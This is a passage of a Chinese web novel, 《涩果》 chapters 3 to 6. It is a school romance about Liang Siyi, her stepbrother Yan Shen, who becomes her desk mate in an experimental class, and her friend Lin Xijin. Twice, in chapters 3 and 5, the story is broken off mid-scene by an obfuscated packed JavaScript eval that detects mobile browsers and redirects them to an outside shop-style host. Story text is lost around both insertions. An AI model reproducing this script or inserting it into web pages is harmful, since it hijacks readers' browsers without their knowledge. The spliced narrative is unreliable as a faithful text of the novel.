《涩果》 3. 第 3 章 03 托阎慎的“福”,梁思意开学第一天直接睡过头,踩着点进的校门,还没踏进教室,只听见里边一阵哀嚎。 “不是吧老王,怎么开学第一天就安排考试啊!” 场面一阵混乱,作为班主任的王立新也顾不上抓谁迟到,梁思意得以大摇大摆进了教室。 她就近挑了个空位,坐下来便问:“静静,什么考试啊?” “摸底考,老王说三中今年来了个新教导主任,准备从我们这一届实行新的分班制。”曲静推了推眼镜,“这次摸底考的前一百名直接拆分为两个实验班,剩下的还按照我们原来的班级分,之后每个月一次大考,每次都择选前一百名进实验班,原来实验班的人掉出一百名就回原班级。” “怎么上个学还出淘汰制,高三101吗?”梁思意边说边在教室里看来看去,没见着想见的人,又说,“不过听起来还挺有挑战的,不知道这次出的卷子难度大不大。” “谁知道呢,反正跟我没关系了,我还是按部就班复习,考个好点的本科就行。”曲静的成绩在普通班算拔尖的,但放在全年级又不算出彩,“不过你可以试试啊,你分科之后成绩进步挺快的,说不定这次有机会冲进实验班。” “也悬着呢。”梁思意的成绩不算特别稳定,好的时候能冲进年级前五十亮亮眼,差的时候也能让老师对着她的成绩单直叹气。 曲静摸摸她脑袋:“那就听天由命吧。” 梁思意叹了一声气。 早读结束后,她站在教室后边,盯着黑板上贴着的分班考试表微微出神,连林西津从后门进来都没注意到。 “看什么呢?”他拍了下梁思意的右肩,人却站在左边。 “考试分班表。”梁思意已经被他骗过无数次,却依旧下意识往右边看了眼才转回到左边。 林西津叼着一袋牛奶,一双桃花眼,笑不笑都动人:“又是什么考试,怎么刚开学就考试。” 梁思意收回那些旖旎的心思,把曲静跟她说的话,又原样重复一遍,“下午就开始考了。” “这么着急。”林西津几口解决完牛奶,随手往垃圾桶里一丢,“都高三了,还搞淘汰制分班,学校也不怕影响我们心态。” “老班也说学校怕学生抗不住淘汰制的压力,最终的分班结果还是看学生自己的意愿。” “是吗,那学校还挺人性化的。”林西津笑,“那如果你考上了会去吗?” “我还挺想去的。”梁思意在学习上一直都挺有拼劲,也一直相信有实力才有底气,才可以去追求那些可望而不可即的存在。 “有志气。”林西津微微叹气,“只不过如果你真去了,我可就失去了一个好同桌了。” 梁思意的心轻了一瞬:“你怎么说的我跟真要去了一样。” “开个玩笑。”林西津淡笑了声,欲言又止:“你昨天……” “什么?” “你今天怎么迟到了?阿姨没喊你?” 提起迟到,梁思意又是一肚子火,可这火不能对林西津言明:“我昨天复习太晚了,早上没听见闹钟。” 何文兰早上也叫过梁思意一回,她应了声倒头又睡了过去,等何文兰晒好衣服回来才发现她还没起。 “那阎慎也没等你一起?”林西津又问。 “他怎么会等我。”梁思意起床时,阎慎已出门许久,听何文兰说他连早饭都没有在家里吃。 “也是。”林西津问来问去,也没问出最想问的,他也分不清是不敢问,还是其他原因。 只是想起梁思意的隐瞒,难免会有几分介怀,像是在无形中输了阎慎一局。 - 三中少有地效率高,摸底考第一场安排在开学当天下午,除了考试时间不同,其他都是按照高考的规制。 文科类都是梁思意的强项,唯有数学和地理有些拖后腿,考数学前她还在祈祷多来点擅长的题目,等拿到试卷一眼扫过去,心凉了大半。 不怕全中文,也不怕全英文,就怕中文里掺着英文。 梁思意盯着那一堆熟悉又陌生的字符,脑海里浮现一堆暑假补习过的内容,慢慢冷静下来。 按部就班过完选择和填空,到了后边的大题,她认真看完题目,心里却更有底了。 还真托阎慎的福,最后两道大题梁思意昨晚在帮他写的试卷里见过类似的题型。 她一开始解不出那道题,后面跟阎慎吵完越想越气,爬起来连查带搜,又给辅导班的老师发消息,折腾到半夜才给解了出来。 早上辅导班的周老师收到她半夜的消息,还给梁思意发语音又说了一个更简洁的解题方式。 只是她出门匆忙,没记住太多,考试还是按照自己的笨办法,解出一二小问,连带着第三小问也勉强写了一部分。 考试铃声响前,梁思意停笔,抬头望见坐在斜前方的林西津。 这次考试不是按照期末成绩分的班,能和林西津分到一个考场,梁思意觉得这是另外一种幸运。 她指尖搓着桌面上的橡皮灰屑,静静看着他的背影,在男生回头的那一刹,又垂眸错开了视线。 像过去的许多时刻。 两天的考试时间转瞬即逝,梁思意还没缓过神,摸底考的成绩已经先贴了出来。 她成了少数从普通班考进实验班的人,虽然是倒数,但也是前一百名里的倒数。 分班表出来之前,梁思意得到班主任指示,回去和家长沟通商量。 何文兰一向尊重她的意见,让她不要有压力,随心而选。 倒是阎余新十分支持:“你跟小阎这次能从普通班考进实验班是好事,也相信你们一定付出了很多努力,但最后怎么选,我跟你妈妈肯定是优先尊重你们自己的想法,我们呢,就希望你们放宽心,大胆去做。” 梁思意原先已经坚定想法,只是阎余新突然提到阎慎,她才想起阎慎也进了实验班。 看年级排名,她和他应该会分到一个班。 想到这儿,梁思意竟有几分动摇:“我……” 忽地,玄关处有开门的动静。 梁思意下意识抬头望去,只觉得有些人真是禁不住念叨。 这两天忙着考试,她早出晚归,阎慎更甚,一日三餐都不在家里吃,不到十一点不进家门。 梁思意基本上没在家里和他正面碰过。 “小阎回来啦,厨房里给你留了绿豆汤。”何文兰起身招呼,“要不要给你盛一碗?” “不用。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913958|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拎着书包,目不斜视地从客厅走过。 阎余新见不得他这样不管不顾完全拒绝别人的示好,起身厉声道:“你给我站住!” “我进实验班的事班主任应该跟你说过了,你放心,我一定去。”阎慎没什么情绪地问,“还有事吗?没事我上楼写试卷了。” “你——”阎余新气急,何文兰拉着他的胳膊,“算了算了,你跟我到厨房来,我先给你盛一碗绿豆汤解解暑气吧。” 梁思意见状,也起身说要上楼。 阎余新最后说了一句:“思意,去不去实验班这件事你不要太有压力,哪怕最后你选择不去,我跟你妈妈都尊重你的决定。” 梁思意余光瞥见阎慎似乎回头看了她一眼。 她没太在意,起身拎起书包说:“我明白,我会好好考虑的,谢谢阎叔叔。” 梁思意转身朝楼梯口走去,阎慎的身影已经消失在楼道里。 她回到卧室,抱着书包坐在桌前。 手机一直静音放在书包里,梁思意拿出来,点开桌面的微信图标,消息列表的置顶一直很安静。 林西津翘了晚上的自习,梁思意不确定他知不知道成绩的事,想问一问他的建议。 进实验班是好事,但进实验班和阎慎做同学,梁思意不确定这是好是坏,毕竟这半年来,阎慎几乎单方面和她断交。 偶尔在家里饭局上碰见,也是话不投机半句多,更别论,现在他还捏着自己的“把柄”。 可阎慎和林西津的关系又让梁思意犹豫,她想了想还是放下手机,起身拿睡衣准备先去洗澡。 一推开门,阎慎刚巧下楼,楼梯口正对着她的卧室门。 梁思意进退两难,阎慎却先开了口:“听说你也考进了实验班?” 不知道他葫芦里卖什么药,梁思意点点头,没说别的。 他轻飘飘一句:“挺不容易啊。” “说得好像你考得很容易似的。”梁思意一想到他拿着自己的画本,便气不打一处来,“你的排名都没我高,在装什么?” 阎慎轻嗤:“一个九十六,一个九十八,这排名还有争个高低的意义吗?” “那又怎么样?”梁思意找回主场,“再怎么说我也是比你多考了几分,老师都说了,高考一分甩掉几千人,有这几分,我何止只是高了你两个名次。” “有这比较的劲,你不如多刷几道题,省得下回月考就灰溜溜掉回原班级了。”阎慎冷嘲道,“下次可没有类似题目的试卷给你刷了。” 梁思意攥紧拳头,理亏但气势不亏:“就算没试卷刷,下次月考我也一定考得比你高,你有空担心我,不如担心担心你的文综吧,前一百好像就你一个人历史没及格吧!” 阎慎也戳着她的痛点说:“你以为你的地理又好到哪里去?” 梁思意气得发出一声冷笑,先前还有些许动摇的心在此刻坚定无比:“这个实验班我还非进不可了,我梁思意今天就把话放在这里,下次月考我的排名要是没你高,我跟你姓!” “谢谢,但不用了,我不缺妹妹。”阎慎说。 “那不巧了,现在户口本上你就是我哥。”梁思意下巴一抬,咬牙切齿两个字,没情意全是挑衅。 “哥、哥!” 4.第 4 章 04 阎慎像是被梁思意的话堵住,好半天都没说话,最后也只是轻飘飘问了句:“你去实验班,林西津怎么办呢?” 他说着像是在为林西津抱不平,但梁思意听得出他话里的嘲弄,语气多了几丝冷意:“跟你有什么关系?” 她后退一步,“嘭”一声,又关上了门。 阎慎在原地站了几秒才径直朝楼下走去,楼道处暖色调的灯光落在他脸上,一丝不易察觉的笑意一闪而过。 屋里,梁思意抱着睡衣站在门口,等冷静下来,才想起自己原本准备去洗澡。 她靠近门边,没听到什么动静,拉开门去了浴室。 等洗漱完,梁思意擦着头发站在床尾,拿起正在充电的手机,置顶的聊天框依旧没有消息。 她沉思片刻,才敲下一句话发过去,但一直到睡觉前,对面也没有回这条消息。 梁思意一夜心有所念,第二天不到五点就醒了。 睁眼的第一件事,她先从枕边拿起手机,屏幕黯淡的光投在脸上,困顿的目光逐渐清醒。 凌晨两点。 林西津回复:恭喜。 梁思意敲敲打打,最后回了一句玩笑似的话:“还是借你吉言,这下你真的要换同桌了。” 随即,她起床洗漱,等收拾好也没到平时何文兰起床做早餐的时间。 梁思意索性推开窗户,站在窗边戴着耳机听英语广播,暮夏的晨风叫人格外清醒。 六点,梁思意摘下耳机。 楼上楼下都传来起床的动静。 二三楼的格局大体相似,几扇窗户都开在同面墙,梁思意听到楼上的窗也开了。 屋里的声音跟着传了出来。 是一道铿锵有力的中年男声。 “……三,工业革命及其对资本主义世界市场发展的影响……” 梁思意愣了一瞬,有几秒都在怀疑是不是自己的耳朵出问题了,可楼上的声音还在继续。 “……资金来源,也扩大了对英国商品的市场需求……” 伴随着脚步声挪动,这道男声也跟着忽远忽近。 虽然梁思意昨晚被踩中痛点,可偏科这事从高一到现在一直都有,她努力过,但努力的重心更多还是放在作为主科的数学上。 至于地理,她更愿意从擅长的史政上多捞点分。 意外窥见对手的努力,梁思意想到昨晚放出的大话,心里不由得涌出几分危机感。 想到这里,她匆匆收拾好书包,推门下楼。 “妈,早餐给我装起来,我不在家吃了,我要早点去学校!”梁思意站在桌边喝掉何文兰提前温好的牛奶,“以后早餐我都不在家里吃了。” 过去每天早上坐在餐桌边慢悠悠享受一顿早餐的闲暇时光,似乎在阎慎的用功下已经变成梁思意不够努力的证据。 她暗自懊恼,痛定思痛,决心以后要再早起二十分钟。 “怎么突然这么用功。”何文兰将打包好的早餐递给梁思意,“连在家里吃一顿早餐的时间都没了。” “有人比我更努力呢。”梁思意接过去,“我先走啦!” 梁思意走出家门,只在右耳塞了一只耳机。 在她身后,西晒朝向的小院沐浴在夏日晨光中,阁楼几扇窗大开,阳光铺满整间卧室。 阎慎停在窗前的书桌旁收拾书包。 楼下有急声唤道:“思意,今天可能有雨,你拿把伞再走。” 他抬起头。 巷子里都是独门独户的小院,应季的月季攀附在镂空的院墙之上,红粉黄紫与绿叶交映。 院门一开一合。 蓝白身影混入其中,花团锦簇间竟也不显逊色。 - 梁思意出门早,进教室时只有三四个女生在,见她进来,都凑过来问:“思意,你今天是不是就要去实验班报到了?” “我也不太清楚,老王昨天让我——”梁思意咬着面包片,目光瞧见趴在桌上睡觉的男生,顿了瞬才接着说,“老王就让我先回去问问家长意见,其他的安排我也不知道。” “这样啊,那估计也就是这两天的事情了。” 梁思意“嗯”了一声,轻手轻脚走到位上坐下,林西津枕着胳膊,面朝墙壁睡得安稳。 她安静地解决完早餐,从书包里翻出课本,依旧戴着耳机听英语播客。 教室里的空位置陆陆续续坐满,耳机外的世界逐渐变得嘈杂,忽地,耳朵一空。 “听的什么歌?”林西津不知何时转过脸,抬手摘掉梁思意的右耳边的耳机,白色的耳机线蜿蜒勾缠。 “没听歌。”梁思意取下另一侧耳机,从包里翻出手机,点亮的屏幕页面是一长列中英混合的播客。 “BBC six minutes English.”林西津熟稔地念出播客的名字,“你还在听这个啊。” “养成习惯了。”梁思意刚转来平城时,因为没有系统地学过英语,基础比较薄弱,口语也说得别扭僵硬。 是林西津一个单词一个音标地帮她把口语纠正过来,这个播客也是他当时推荐给梁思意用来磨耳朵的。 一条六分钟左右,梁思意不知道跟着他听了多少个六分钟。 “好习惯,你比我能坚持。”林西津打了个哈欠,把耳机放回到梁思意桌上,“你什么时候去实验班?” “还不太清楚。”梁思意将手机一同收了起来。 “我看年级排名,阎慎这次也在前一百名,他是不是也准备去实验班了?” 梁思意“嗯”了一声,倒是没隐瞒:“昨天晚上听他跟阎叔叔说的意思,应该是会去的。” 林西津背靠着墙,侧头杵着胳膊,看不出什么情绪变化:“挺好,你们也能有个照应。” 梁思意无奈地笑了一声:“你在开什么玩笑,我和他不吵起来已经算皆大欢喜了。” “你这么讨厌他,怎么还决定去实验班跟他当同学?” “我没想到我会考进去,也没想到他会考进去,更没想到我们俩会一起考进去。”梁思意不知不觉中被林西津的话带跑偏了,反应过来又说,“我也不是讨厌——” 恰巧,有人从教室后门探出头。 “梁思意,老班叫你去他办公室一趟。” 梁思意的话被截断,林西津也起身说要去厕所,她只好跟着站起来,一同走出教室。 一左一右,两个方向。 梁思意在老王办公室拿到了新的分班表,得到几句作为师长的叮嘱,回到教室和同学说着告别的话。 她收拾好书包,抱着一摞书和试卷,空不出手挥别,只说常联系,说不定下次月考就回来了。 “别介啊,你得给咱班争口气,多留一日是一日。”曲静笑着给她打气,“加油!” 梁思意点点头,脚步却十分磨蹭,直到早读铃响,也没见林西津回来。 她无声叹息,径直走出了教室。 新的教室在六楼。 文理科的四个实验班都在这一层。 走廊挤着不少人,实验二班靠近楼梯口,梁思意从后门进去,在后面的黑板上看到了新的座位表。 她顺着一行行往下。 在第三组的倒数第三排看到了自己的名字,也看到了新同桌的名字。 阎慎。 梁思意脑袋“嗡”一声,怀疑自己看错了。 她一颗心狂跳,低头凑近了看,手按在名单上仔细地看,确定不是自己看错行看错名的刹那,眼前像有一群乌鸦飞过。 啊——啊—— “不是吧……”梁思意生无可恋地停在黑板前,有人挤过来看座位表,她恍恍惚退了两步。 书掉下来砸在脚背上。 她痛呼一声回过神。 “不好意思不好意思。”男生帮忙捡起书,笑着说,“你坐哪儿,我帮你放过去吧。” “没事,我自己来就行。”梁思意道了声谢,接过书看向自己的座位,阎慎已经坐在那儿了。 她有些意外,他怎么没把她的桌子扔了。 梁思意拖着沉重的步伐走过去,同样沉重的书包放到凳子上,发出“咚”的一声。 阎慎闻声侧目。 他今天戴了眼镜,一副普通的黑框,遮住了眉眼轮廓,却显鼻梁更加高挺。 梁思意 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要说起谁跟谁熟,整个班里,没有比她跟阎慎更熟的了,从初中到高中,四五年的时光里,他们的关系可以算得上是相当融洽。 他们读初三那年,何文兰从林家换到阎家做住家阿姨,梁思意也跟着母亲一同住进了阎家。 初中两人不在一个学校,上下学时间不太一样,接触并不太多。 一直到高中,两人同在一个学校,虽不在一个班,但上课时间差不多,偶尔会在家里碰面。 有时遇到不会的题目,阎慎还会主动替她辅导,即使讲了很多遍,下一次梁思意还是不会,他也没有生气和不耐烦。 那时的他好像对她耐心很多,包容也很多。 一点也不像现在,说话夹枪带棒,总是横眉冷对。 梁思意有时想到过去免不了会有些难过和惋惜,毕竟比起父母的再婚,明明是他们先成为朋友的。 似有所察觉,阎慎也侧目看向她,几秒的对视里,他率先挪开视线,看见她随手搁在桌上的数学卷子,张嘴便是:“108分,考这么点?看来你一个暑假的课真是白补了。” “说得好像你自己多牛一样,谁知道老刘给你们藏了多少好东西?”梁思意想到开学前帮他做的那几套卷子,惊道,“这次摸底考的试卷不会是老刘出的吧?” “想什么呢?老刘是这样的人吗?” 梁思意蹙眉:“那为什么他只给你们班拿卷子写?” 阎慎眉微挑,镜片下一双眼眸漆黑,笑得有些坏,“你自己去问他啊。” 试卷当然不是老刘给的,作为两个班的数学老师,他还是很公正的。 那些题目都是阎慎暑期辅导班的老师自己拟的题目,在网上确实搜不到原题。 梁思意看他那样子,隐约觉得自己被骗了,但又找不到证据,也不可能真的去问老刘,一口气憋在心里。 好。 很好。 她沉默着收拾书和卷子。 教室里陆续坐满了人,梁思意前边是个女生,旁边的座位始终空着,一直到快上课,才见一个男生急匆匆跑进教室。 他坐下来的动静很大,梁思意抬头看了一眼,男生也回了头,但却不是看她。 他“咦”了一声,敲敲阎慎的桌面,笑得很意外,“哥们,没想到你也在二班啊。” 阎慎抬头,目光有些迟疑。 “兄弟,你不会脸盲吧?”男生挺吃惊地笑了一声,“刚在楼梯口我拜托你帮我带一下座位表,你这就忘了?” “没忘,只是你跑得太快了,我没看清是你。”阎慎礼貌地说。 “我那会肚子疼得厉害,又怕耽误班上同学找座位,看你往这边走,就想着让你顺手带一下。”男生笑笑,“我叫徐衡,没想到咱俩不仅是同学,还是前后桌呢。” “阎慎。” 简短地自我介绍完,阎慎转头又对上梁思意的视线,忽地想起什么,镜片后的眸光一闪。 梁思意冷笑一声,没了难过,也没了惋惜和气愤,只发自肺腑地吐出两个字:“装货。” “……” 5.第 5 章 05 新的教室、新的同学和旧的同桌,都给梁思意带来一种不同以往的感觉。 实验班的节奏快,效率高,她也顾不上想其他事情,一整天笔尖都快擦出火。 晚上八点,第二节晚自习。 一整天没露面的班主任拿着一沓试卷走进教室,他没多废话,提笔在黑板上写下“张德忠”三个字,站在讲桌旁说:“同学们好,我是你们高三这一年的班主任兼数学老师,你们的自我介绍就省了,私下想认识彼此自行联系,时间紧任务重,今晚我们先做套试卷。” 他把手上的试卷分四批扔给第一排的同学:“往后传。” 梁思意上了一整天课,脑瓜子嗡嗡的,拿到试卷后,症状只重不轻,她将桌上成摞的书搬到脚边,开始埋头解题。 平城的夏天已经接近尾声,教室里没开空调,顶上的吊扇呼啦呼啦转着风。 两个小时短得像是转瞬即逝。 停笔时,梁思意没忍住往旁边看了眼,阎慎的卷面整洁,黑色字体填满大部分空白。 她揉着发酸的手腕,抿了下唇,又若无其事地挪开了视线。 真要命。 怎么新班主任不是教历史的呢? 梁思意备受打击,又累了一天,趴在桌上,像被吸走了大部分精气神。 “放学啦,你们还不走吗?”徐衡收拾好书包,见两人一动不动,好奇地问,“你们都住在学校附近吗?” “对,我离得不远。”梁思意应声,一天的时间里,除了阎慎,她也就认识了徐衡和他的同桌向葵。 一个班级第二,一个班级第一。 梁思意一整天只要抬起头就看见两学霸坐在前边,连个开小差的心思都不敢有。 “那我们先走了,明天见。”徐衡书包一甩,“向葵,你快点啊。” 徐衡是个话痨,上午才认识没多久,就把他和向葵既是原来重点班的同学又是青梅竹马的关系告诉两人。 阎慎和梁思意却默契地隐瞒了他们彼此的关系。 多一事不如少一事。 两人离开教室也是一前一后,如非特殊情况,绝不走在一起。 夜渐深,学校门口已经没多少学生,梁思意穿过马路,走进正对路口的小巷,冷不丁撞见刚从便利店出来的阎慎。 没有打招呼的必要。 梁思意装没看见,继续往前。 回家的路只有一条,阎慎隔着几步走在她身后,手中拎着的塑料袋子发出一阵细碎的动静。 想了想还是没忍住,梁思意在家门口停下,转身看向他:“你何必呢?” 阎慎跟着停下,月光皎洁,衬得他眼珠漆黑,神情微微有些发愣:“什么?” 梁思意指指他手中的塑料袋,说:“你一日三餐都不在家里吃,现在连夜宵都要在外面买,我有时候真的搞不懂你在想什么。” 平心而论,阎余新与前妻是和平离婚,与何文兰也是在他离婚两年后偶然间相逢。 其中并无一点苟且龌龊。 他们作为儿女,是不可能一辈子陪伴在父母左右的,如果父母能有新的选择,梁思意也不愿意成为他们奔向幸福道路上的拦路石。 她只是想不通,为什么阎慎这么难以接受。 “你爸妈瞒着你离婚确实不对,可两个人没有感情了,为什么一定要为了孩子继续绑在一起呢?我们都是独立的个体,况且他们就算分开了,对你爱也没有少。”梁思意少有的长篇大论,“我这样说可能会有一点对不起我爸爸,但他已经去世很多年了,这世上也没有哪条法律要求我妈妈一定要为他守身。” “换个比方说,就算我爸爸还在世,他们现在因为感情不和要分开,只要彼此没有原则性错误,我会打心底祝福他们都能得到新的幸福,因为我知道,我不可能一辈子都陪在父母身边,所以我妈妈能有新的选择,我会为她高兴,即使这个人不是阎叔叔,只要是对她好的人,我都会拿他当长辈一样尊重。” 她说得不太大声,怕被屋里的人听见,可阎慎却觉得这话语震耳欲聋,他笔直地站着,一言不发。 话说到这里,梁思意索性一次说开,“我知道我妈妈嫁给你爸爸,在很多人看来都是我们沾了光,我今天跟你说这么多,你估计也会觉得我得了便宜还卖乖,但不管你怎么想,我只希望你对我妈妈尊重些,起码她在嫁给你爸爸之前,对你并不差,她也不亏欠你什么。” 说完她不再理会阎慎,推开门走了进去。 何文兰还没睡,照例备了两份夜宵,招呼梁思意先去洗手,“小阎呢?你们没一起吗?” “不知道,没看见。”梁思意擦着手从卫生间出来,路过客厅的窗户往外看了眼。 院门半敞着,却没人站在那里。 这人不会被她气跑了吧? 梁思意在窗前东张西望,正准备出去看一眼,听见有人关院门的声音,又立马坐回桌边,装作若无其事的样子。 阎慎在玄关换了鞋,路过餐厅何文兰同样问他吃不吃夜宵。 梁思意没抬头,自顾吃着馄饨,只余光瞥过去,发现他原先拎在手里的塑料袋不见了。 “不用了,我今晚不饿。”阎慎说完微妙地停了几秒,“谢谢。” “那你早点休息。”何文兰笑着叮嘱。 他点点头,不再多言,快步上了楼。 何文兰转过头又叮嘱梁思意:“你也快点吃,吃完早点休息,我先去睡了。” “知道了。”梁思意没再磨蹭,把剩下不多的馄饨一口塞完,快速进厨房把碗筷收拾干净,也拎着书包上楼了。 洗漱完还不到十一点。 梁思意擦完头发坐到桌边,从书包里拿出张卷子,按下桌上的定时器,提笔写了起来。 夜深寂静,时有几声汽笛响起。 梁思意写到脖子发僵才停下,她站起身在屋里甩着胳膊,走到窗边探出脑袋透气。 无意间抬头,阁楼的灯光也一样亮着。 梁思意好似找到了并肩作战的队友,在这深夜里斗志满满,休息好又坐回桌边,笔尖的沙沙声像深夜里的战鼓声。 凌晨一点半,梁思意停笔,脖颈又酸又胀,但看着写得满满当当的试卷,又满意地长舒一口气。 实在抵不住困意,她起身关灯,按下开关之后,梁思意又忍不住走到窗边,推开窗朝楼上看了眼。 竟然还在亮着灯。 “……” 梁思意投降,但她又不是轻易认输的人,躺下之前把起床闹钟往前拨了半个小时。 晚睡比不过,比早起总行了吧。 抱着这样的想法入睡,梁思意一整夜都在梦里跟人比赛,把闹铃当发号铃,抬手一摁,睡得昏天暗地。 何文兰进屋来喊她时已经过了平时起床的点,梁思意猛地惊醒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921344|192483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“我第一名啊。” “什么第一名?你这孩子睡糊涂了吧。”何文兰笑了声,走过去拉开窗帘,“快点起床吧,小阎都出门去学校了。” “什么!”梁思意睡意全消,慌里慌张地起床,手忙脚乱地洗漱,下楼拎上早餐盒就跑。 “你慢点啊!”何文兰不放心地叮嘱,看人走远了才动手准备自己和阎余新的早餐。 往常都只需要准备阎余新的,她吃阎慎不拿的那份,今早破天荒了,这孩子拿走了他的那一份。 何文兰想想,摇头失笑。 梁思意跑出巷口看到车流涌动的马路和校门口进出的学生,才忽然回过神来,又没迟到,她跑什么。 她缓了口气,等着红灯变绿灯,跟着人群走过去。 教室里的人已经来得差不多了,都在边吃早餐边看书,梁思意快步走到自己的座位上,阎慎置若罔闻,自顾看着书,连半点余光都没分给她。 梁思意觉得无所谓,拿出餐盒刚打开,坐在前排的徐衡嗅着鼻子回过头:“好香啊。” “吃一个?”何文兰每天准备的早餐都不同,今早是蒸包子,梁思意把餐盒递过去,“我早上不太饿。” 闻言,坐在一旁看书的阎慎忽然抬头看了过来,梁思意不解地问:“你也要来一个?” 阎慎还没说话,徐衡已经伸手从梁思意的饭盒里拿走一个包子:“这个包子一看就很好吃。” 向葵忍不住吐槽:“你饿死鬼投胎啊,早上不是从家里吃过才出门的吗?阎慎的包子你也吃了两个,还没饱啊,你的胃是海无涯吗?” “我妈天天就是三明治欧包三明治欧包,我是中国胃,吃不惯啊。”他一口咬下半个包子,眼尖瞥见梁思意的饭盒,含糊不清地说,“诶,你的饭盒跟阎慎的是同款呢。” “是吗?”梁思意愣了瞬,脑袋里电光石火一通闪,突然懂了阎慎刚刚那欲言又止的一眼。 徐衡也突然停住:“这包子……” “怎么了?”向葵问。 阎慎和梁思意都看着他,他也看着两人,目光流转间,梁思意知道这人不该留了。 “真好吃啊。”徐衡笑眯眯地说。 梁思意松了口气。 徐衡是个聪明人。 他敏锐地意识到梁思意和阎慎之间存在不寻常的关系,也默契地选择了保守这个秘密。 阎慎没有明说,但事后请他喝了一周的水。 几次下来,徐衡自诩同他关系近了点,还是没忍住八卦:“你们是亲戚?” “不是说不感兴趣吗?”阎慎喝着水,没有正面回答。 “那就不是亲戚,你俩也不是一个姓。”徐衡不愧是学霸,思维转得很快,“如果是正常朋友,你们不会忌讳跟别人透露关系,但你们又同吃同住,你俩……不会在早恋吧!?” 过程全对,结论全错。 阎慎呛了声水,抬手抹了下嘴角,“不是。” 他捏着矿泉水瓶,淡淡说道:“重组家庭。” 徐衡沉默了几秒,才拍了拍他的肩膀,安慰道:“这样的事很正常。” “……”阎慎笑笑,“我知道。” 道理他不是不懂,父母离婚再娶也是人之常情,没有感情的两个人确实没有必要为了孩子绑在一起。 他只是不能接受。 成为妹妹的可以是任何人,但为什么偏偏是梁思意。 6.第 6 章 06 难得的休息日,阎、林两家人聚在一起。 阎余蕙听说梁思意和阎慎这学期进了实验班,笑着关心道:“实验班怎么样,待着压力大不大呀?” 梁思意说还行,阎慎跟着“嗯”了一声。 “西津,你也要加把劲啊。”阎余蕙看向坐在一旁的林西津,“以前都是你给思意补课,现在思意反倒成绩比你好了。” “知道了。”林西津没什么反应地说。 “行了,难得休息就别老是问他们学校的事情了。”阎余新喝着茶说,“我们大人聊聊天,你们自己去玩吧,别跟我们这里拘着了。” 阎慎先起身离开了客厅。 梁思意看向林西津,自从分班之后,他们一直没见过面,线上联系也不多。 “去书房待会儿?”林西津起身问。 梁思意没有拒绝,上楼路过偏厅,她看见阎慎站在落地窗前,许是听见动静,他回头看了过来。 梁思意猝不及防对上他冷淡的目光,脚下的步伐跟着一乱,连忙挪开视线,紧跟着林西津上了楼。 书房的陈设还是梁思意记忆中的模样,林西津拉开椅子坐在桌后,状似无意地问:“和阎慎一个班感觉怎么样?” “没什么特别的。”梁思意想了想说,“一天也说不上几句话,还没有我跟班里其他同学说得多。” 林西津似乎有些意外:“怎么会这样?我记得你们以前关系不是挺好,这都半年多了,他还在生气吗?” “或许吧,毕竟他之前一直以为他父母只是因为工作短暂异地。”阎慎的母亲蒋穗是在他小升初那年因工作调动去了国外,在此之前,她和阎余新因为这件事在私下里吵过无数次。 最终,双方都不愿妥协,在蒋穗出国之前办了离婚手续,考虑到阎慎还小,夫妻俩一直瞒着阎慎。 蒋穗出国之后也不是完全对儿子不闻不问,每年都会休年假回来陪他,也经常同他电话联系。 她和阎余新约定好,在阎慎高考结束之后再公开离婚的事情。 阎慎初一那年,阎余新在隔壁市开研讨会,无意间碰见带着孩子老人在医院奔波的何文兰。 他们是年少情谊,多年前因为种种原因没能走到一起,久别重逢,阎余新向何文兰伸出了援手。 姥姥去世之后,何文兰进入林家当月嫂,等到阎慎初升高那年,阎余新面临工作升迁,一时间顾不上阎慎。 何文兰便接过了照顾阎慎的任务。 “他也没想到,我妈妈会和他爸爸走到一起。”梁思意不太想说这些过去的事情,又把话题转回到学校里的事。 她说了许多,试图填充彼此不见面时的空白。 梁思意聊到徐衡吃包子的事情,又说:“他可能也看出些什么了,不过他人挺好的,也没有乱说。” “是吗?”林西津反应平平,似乎对这个话题不太感兴趣。 梁思意的分享欲顿时大打折扣,草草几句结束话题,又问:“你呢,最近班里有没有什么好玩的事?” “就那样,毕竟高三了,大家都要忙着学习。”林西津打了个哈欠,“昨晚熬通宵了,我去补个觉,你自己玩会。” 梁思意看着他走出去的背影,微微有些怔愣,一时间坐在椅子上没有任何动作。 这间书房,是她在林家借宿时最常待着的地方,林西津在这里帮她补习过英语,带她打过游戏。 她也在这里替林西津写过作业,处理过他打架留下的伤口。 林西津的书桌旁至今还摆着一张他和梁思意的合照。 那是初二的冬天。 梁思意刚转入林西津就读的初中不久,新班级的同桌是个男生,起初还挺和气,不知道从哪天起,总习惯性指使她做这做那儿。 秉持着多一事不如少一事的原则,梁思意每次都忍了。 直到某次大扫除,男生和梁思意搭档擦玻璃,却只甩手让梁思意一个人擦,“反正你妈妈也是给人家当保姆的,老鼠的儿子会打洞,你肯定比我擦得——啊!” 梁思意一桶凉水浇断了男生的话。 “你有病啊!”男生朝地上呸了口水。 “你才有病呢,一天到晚真把自己当皇帝了?”梁思意把水桶往他脚边一扔,“大清早亡了!” “你——”男生气急,竟要上手打人,梁思意不甘示弱,但无奈力量悬殊,被男生推搡撞到桌角,跟着摔倒在地。 “我看你神气什么!”男生作势要踢人,周围同学终于看不过去,上前把两人拉开了。 梁思意喘着粗气从地上站起身,环顾四周,大家眼神各异,同情的、看好戏的,漠不关己的。 只有一个女生递来几张纸:“你先擦擦吧。” 